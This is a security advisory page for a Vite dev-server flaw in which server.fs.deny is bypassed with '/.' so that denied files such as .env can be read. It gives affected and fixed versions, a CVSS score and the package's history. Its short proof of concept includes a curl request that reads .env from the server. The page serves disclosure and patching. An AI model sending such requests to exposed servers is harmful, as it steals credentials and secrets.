Vite's server.fs.deny bypassed with /. for files under project root
Summary
The contents of files in the project root that are denied by a file matching pattern can be returned to the browser.
Impact
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Only files that are under project root and are denied by a file matching pattern can be bypassed.
- Examples of file matching patterns:
.env,.env.*,*.{crt,pem},**/.env - Examples of other patterns:
**/.git/**,.git/**,.git/**/*
Details
server.fs.deny can contain patterns matching against files (by default it includes .env, .env.*, *.{crt,pem} as such patterns).
These patterns were able to bypass for files under root by using a combination of slash and dot (/.).
PoC
npm create vite@latest
cd vite-project/
cat "secret" > .env
npm install
npm run dev
curl --request-target /.env/. http://localhost:5173
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | vite | >= 6.3.0, < 6.3.4, >= 6.2.0, < 6.2.7, >= 6.0.0, < 6.1.6, >= 5.0.0, < 5.4.19, < 4.5.14 | 6.3.4, 6.2.7, 6.1.6, 5.4.19, 4.5.14 |
References
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N- Weakness (CWE)
CWE-22- Platform
- npm
- Package
vite- Disclosed
- 30.04.2025
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-859w-5945-r5v3 - CC BY 4.0
Vulnerability history: vite
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 24
- First → latest
- 08.2022 10.2026
- Without a fix
- 0
- Exploited in attacks
- 1
Severity breakdown
- High 8
- Medium 14
- Low 2
Disclosures per year
- 2022: 1
- 2023: 2
- 2024: 4
- 2025: 9
- 2026: 8
-
Vite's server.fs.deny bypassed with /. for files under project root this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.